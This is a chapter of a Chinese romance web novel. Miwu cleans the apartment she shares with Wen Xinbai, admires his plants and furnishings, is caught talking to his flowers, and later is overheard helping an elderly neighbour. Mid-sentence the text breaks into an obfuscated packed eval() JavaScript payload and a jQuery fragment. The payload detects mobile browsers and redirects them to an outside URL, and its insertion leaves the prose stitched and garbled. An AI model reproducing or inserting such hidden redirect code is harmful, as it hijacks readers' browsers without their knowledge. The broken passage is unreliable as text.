八月轮到弥雾打扫卫生。
教辅班三日假期的最后一天，她难得睡到九点，醒来身上已经闷出一层薄汗。进入八月，天气愈发燥闷，弥雾为了省些电费，通常都是风扇开到天亮。
她换了一身短袖短裤，洗漱完去厨房煮了碗水饺。
屋子里静悄悄，在家的这几天她几乎没遇到过温新白，但从玄关的拖鞋变化，又能知道对方有出入这间公寓。
他们作息不同，由于在家时间太短，弥雾至今都没有摸透温新白的出没规律。
摸不透，自然也见不着。
她在吃水饺时向玄关张望一眼，拖鞋静静在鞋架上放着，这意味着温新白不在家。
弥雾吃完，洗了碗，手机点开音乐放在桌上，找出工具准备打扫卫生。
她先将公共领域清扫了一遍。
从决心和温新白打好关系的那刻开始，隐形的冰冷结界在公寓消失了。
那些被弥雾刻意忽视的，和温新白有关的，每次都匆匆略过的细节，像潮水褪去后蜿蜒的沙滩，清晰地浮现。
弥雾扫到温新白门前，疑惑地盯着棕木门把手上挂着的艳丽的香包，鼓鼓囊囊，配色鲜艳。湖蓝明黄和矿物红交织，被编成一股下垂的丰收的穗。
是什么时候挂上的？
其实诸如此类的细小的改变在屋子里还有很多。
弥雾的目光转向客厅，多出来的那张地毯她早有察觉。
某晚她做完兼职，裹挟了一身的疲惫回到家，穿过客厅，一抹别样的色彩闯入余光。
整套公寓，除了两间卧室采用木板，其余统一都采用复古格纹花砖铺陈。
客厅作为常用的生活空间，地砖难免老旧破损。裂纹划痕像老人生出的一道道皱纹，沟壑间藏匿着日积月累难以拭去的脏污。但这间公寓已经足够温馨，这些划痕破损也并不影响日常生活，反而增添一抹岁月的余韵。
弥雾想起她家地板也有碎裂的地方，一家人的鞋子无数次踩踏经过。
可生活如常，悲喜如常。
毕竟没人会去注意一块砖的碎裂与体面。
然而在她目之所及处，陈旧和岁月的裂缝都被妥帖地铺上了一层地毯，拼布式，浅色调，样式简单复古，边缘的线头流苏，柔软而纷乱。
地毯上又多出两个蒲团，圆圆扁扁，挨着茶几。
这是一个老式椭圆玻璃茶几。脚下的四根支柱依靠两个括弧型铁柱连接，中间是用棉绳编织的置物兜。兜里简单放有几本手册，关于养花。
原本茶几上的桌旗是白色蕾丝，老一辈干净清爽的作风，现在被换成墨绿色棉麻，粗糙褶皱的表面攀附着植物枝蔓的暗纹，像爬山虎遮住了玻璃房。
弥雾甚至能想象出温新白随意坐在蒲团上，翻阅着养花手册的模样。
清隽，恣意，阳光晒在柔色地毯，宁静的时光流淌过空隙。
沙发没变，藤编的。同款还有两条长椅和三个矮脚凳，长椅分别放在两人房间，矮脚凳应该在阳台。
沙发对面是一整组定制柜，棕黄色，中间高，两边略低。颇有些年份的台式电视机静坐正中，底下的开放式柜子竖立着丰富的碟片和黑胶。
两侧柜子对称，上三层的玻璃门里全部都是书，她曾粗粗浏览过，都是古今中外的文学作品。
电视机前原本有一个地球仪，此刻被挪到了左侧书柜顶面，取而代之几朵粉百合，静静地插在透明玻璃瓶中。
粉百合的花瓣柔软馥郁，沁出细细密密的小水珠，弥雾忍不住用指腹摩挲，将水珠化开，手指都沾上柔和的香味。
客厅就这样被温新白一点一点布置丰荣，像画家用最细腻的笔触在一幅画上精心描摹。而阳台，则是落笔点睛处。
推开磨砂玻璃门，整间屋子都开始流动，绿意混着花香的生命力迎风扑来，独享风流。
弥雾还记得刚搬来时，阳台那几株植物因为无人照料而凋敝潦草，花败叶枯。仅仅一个月出头，这里就变得生机盎然，每株植物都舒展着绿叶，含苞待放。
在阳台右侧靠墙，还多出一只油绿色铁皮柜，顶部那盆吊篮垂下绿蔓，中间置物层上还有没扔掉的营养剂包装。
弥雾感叹温新白对植物的耐心与细心，她做不到，她没有那么多的耐心去等待花开。
不过她蹲在浅绿色水缸前，冒出了一个绝佳的念头。
投其所好嘛，拉进人与人关系最好的桥梁。
困难的是面前这起码二十盆植物，她根本认不全，只能勉强认出几盆。
弥雾的执行力很强，她从桌上捞过手机就准备搜索。
“龟背竹。”
“垂丝茉莉。”
“鲁一尼。”
“蓝雪花。”
“文竹。”
“水仙。”
……
手机搜索了一圈，弥雾又绕回到浅绿色水缸前。
水缸里圆圆的叶子上蓄了几颗水珠，粉色花苞婷立其中，她一直分不清莲花和荷花。弥雾伸手拨弄绿叶，好奇地嘟囔：“你究竟是莲花还是荷花呢？”
“荷花。”温新白的声音在弥雾身后突兀地响起。
她吓得一激灵，手不小心碰到水面，几尾金鱼受到惊扰，金红的尾巴在水中激起层层波浪。
弥雾猝不及防扭头，但蹲着的身形不稳，视线中的温新白摇晃两秒，定在面前。
“你，你什么时候回来的？”
弥雾下意识往玄关看去，拖鞋还在架子上稳稳静置，而温新白脚下穿着另一双她没见过的拖鞋。
温新白一直在家。
温新白昨晚在帮出版社做校对，熬了个通宵，出来给花浇完水才睡下。没两个小时，门外响起嘈杂的音乐，躁动的鼓点敲击着他的耳膜，贝斯震动着他的神经，仿佛在进行一场激战，将他从睡梦中拖拽出来。
他摸出床头的耳塞，但收效甚微。音乐持续不停，困意被生生打散，温新白起身倒水，水壶也空空。
他抖了抖水壶，烦躁地啧了声，胸腔里两颗打火石擦出星点火花，碰上闷热的空气就将引燃。
温新白拉开门准备接水，才开一条门缝，音乐就停了。
与此同时，弥雾的声音像清脆的鸟鸣盘桓在公寓。
“你的叶子确实很像龟壳诶。”
“你好漂亮啊，茉莉竟然还有这样的品种。”
“你的花好美哦，鲁一尼同学。”
……
“哎，总是分不清荷花还有莲花。你究竟是莲花还是荷花呢？”
在弥雾对着植物碎碎念时，温新白已经打开门，走到沙发靠背处，沉默地看着她抱着手机识图、搜索、辨认。
阳台和客厅被四扇磨砂玻璃阻隔，中间两扇推拉式的门此刻被推到最大，弥雾的身影模糊但跃动，最后蹲在门边上的浅色鱼缸前。
阳台的光线灿烂，弥雾又白，小小一个蹲在光下非常打眼。她的头发稍微长长了些，扎成一个小揪，像麻雀尾巴。光透过发丝缝隙，照得每根都在发光。
温新白拢着眉毛打量，不知道这是弥雾天生话唠需要找个倾泻的出口，还是她惯用的伎俩，和上次骗取中介同情一样，抓住一个人在意的软肋，把自己包裹进去，博得好感，拉近距离。
但阳光带有一层很强的滤镜，让这种虚伪都沾染上生动，难以辨别。
温新白冷不丁出声提醒，弥雾吓一跳的反应还算真实，整张脸不知为何迅速红透，像蒸熟的螃蟹壳。
没过几秒温新白就顺着弥雾的视线确定了答案。他低头看着脚上这双新买的拖鞋，意味不明地笑了下。
弥雾紧张地打量温新白，白色短袖上是凌乱的褶皱，眼皮耷拉着，眼底一片淡淡的青黑。
“你在睡觉？”她猜测，但没等温新白回答，又语无伦次地解释道，“我不知道你在家，所以才在客厅公放的。”
温新白自知白天是正常活动时间，弥雾没有义务配合他的作息，因此没有回答她，只嗓音困哑地提醒：“不要随便碰我的花，想了解可以买植物百科全书，上面基本的都有。”
弥雾蹲在地上，腿已经开始发酸。她的目光还没从温
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310702|198825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
新白身上挪开。他站在沙发背面，光照不到，神色也辨别不清，说完最后一句话，就转身径直走去厨房接水，回房，关门，一气呵成。
弥雾的视线一路追随，想说些什么却又喉头空空，最后只能聚焦于摇晃的香包。
温新白让她离那些植物远一些，可她难道是什么洪水猛兽吗？难道她一碰花花就会枯萎吗？
她垂下头，转身丧气地看着金鱼在荷叶间嬉戏，天气很热，弥雾有一种空空的茫然，像在黄昏时出海，路不明，又远。
-
直到天边擦出深沉的靛蓝，温新白才睡醒。
他现在有一份主要兼职，是在花店干活。偶尔也会接几份帮出版社校对的活。由于花店生意不错，老板欣赏他的能力，他的休息也不固定，如果没有商单，一般一周能有个一天休息。
手机屏幕在漆黑的卧室散发出荧光，花店老板发来消息说明天需要去一个会场布置，让他早点到。
温新白啃了一个便利店买的面包，思考着十二点前还是得休息，不然熬个通宵明天会没精力。
他打开电脑，打算找部电影打发这一段空白的时间。电脑是二手的，刚到白皖时，他就用手头为数不多的钱买了一部，用于提前学习植物学知识，接点校对的活，平常也会拿来看几部电影，算作放松。
这是他享受的放松方式，和很多男生不同。尽管他也会运动，也享受汗水淋漓的力竭，但他不喜欢和人一起，不喜欢一堆人烘作一团，打篮球踢足球，那些聒噪的闷热的团体行为，需要进行过多社交的场合，他都不喜欢。
他更喜欢一个人的独处，像一棵树，生命和时间的流淌只在内里，自下往上生长，又从上到下滋养，静默，平缓，独自站成永恒。
电影开幕，各色人物开始活跃，卧室灯光全暗，窗帘拉得严实透不出一丝亮，屏幕光影明灭，投在温新白骨相优越的五官，像一座嶙峋的山在月色下闪烁着粼粼的光。
时间在电影进度条上缓缓前移，电影名叫《一一》，那些凌乱的争吵和稚嫩的独白从耳机中流淌而出。
温新白看得投入。
电影滚动到黑白字幕的片尾，温新白摘下耳机，一道清亮的声音从窗外传来，穿透电影。
玻璃窗的隔音实在不怎么样，加上位于三楼，稍有一些动静，都能一清二楚。
他瞄了眼右下角的时间，晚上九点三十一分。
“奶奶，这么晚了你怎么还在外面？”
“去丢垃圾。”老人声音慈祥。
温新白站起身，活动筋骨，拉开窗帘一个角。
这个点周围的老人都在家，楼下只有两道身影，一宽一窄。
弥雾背着双肩包，遇到正要去丢垃圾的邻居奶奶。
她声音诧异，但手上动作很快，迅速拿过垃圾，转身跑去垃圾桶前丢掉，又急匆匆跑回来，朝老人笑得很乖，挽住她的胳膊，扶着她走。
“您前两天不是还在说膝盖痛嘛，垃圾放门口就好了，我出门给你丢。”
“哪能一直让你丢。你也有自己的事嘛。”老人笑呵呵地摆手。
“奶奶，我也是要运动的嘛，网上说爬楼梯最有用了，你就把垃圾放门口，让我多运动运动。”弥雾答得好听，又自然地问，“对了，这两天怎么没看到潇潇？”
潇潇是老人的孙女，在白皖中学读书，弥雾之前总能遇到。
“跟她爸妈去旅游了，下个礼拜就要开学，说带她去玩一下。”
“这么早开学啊？”
“是啊，高三了嘛。”
弥雾搀扶着老人走得很慢，几个对话来来往往，也走到了楼梯口，阴影包裹两人身影，声控灯亮起，拖出两条黑黑的影子。
不知道是注意力太过集中，还是墙体隔音偏弱，弥雾和老人的欢声笑语模糊地传来。温新白甚至能想象出每层楼的声控灯是如何被她的笑声点亮，一盏一盏，在弥雾的脚印落下前。
须臾，关门声响起，拖鞋踢沓的脚步声一路从玄关到房间。
屋子又变得安静，但柔和的客厅灯透过底下窄窄的门缝漏进温新白的房间，比电影的光要明。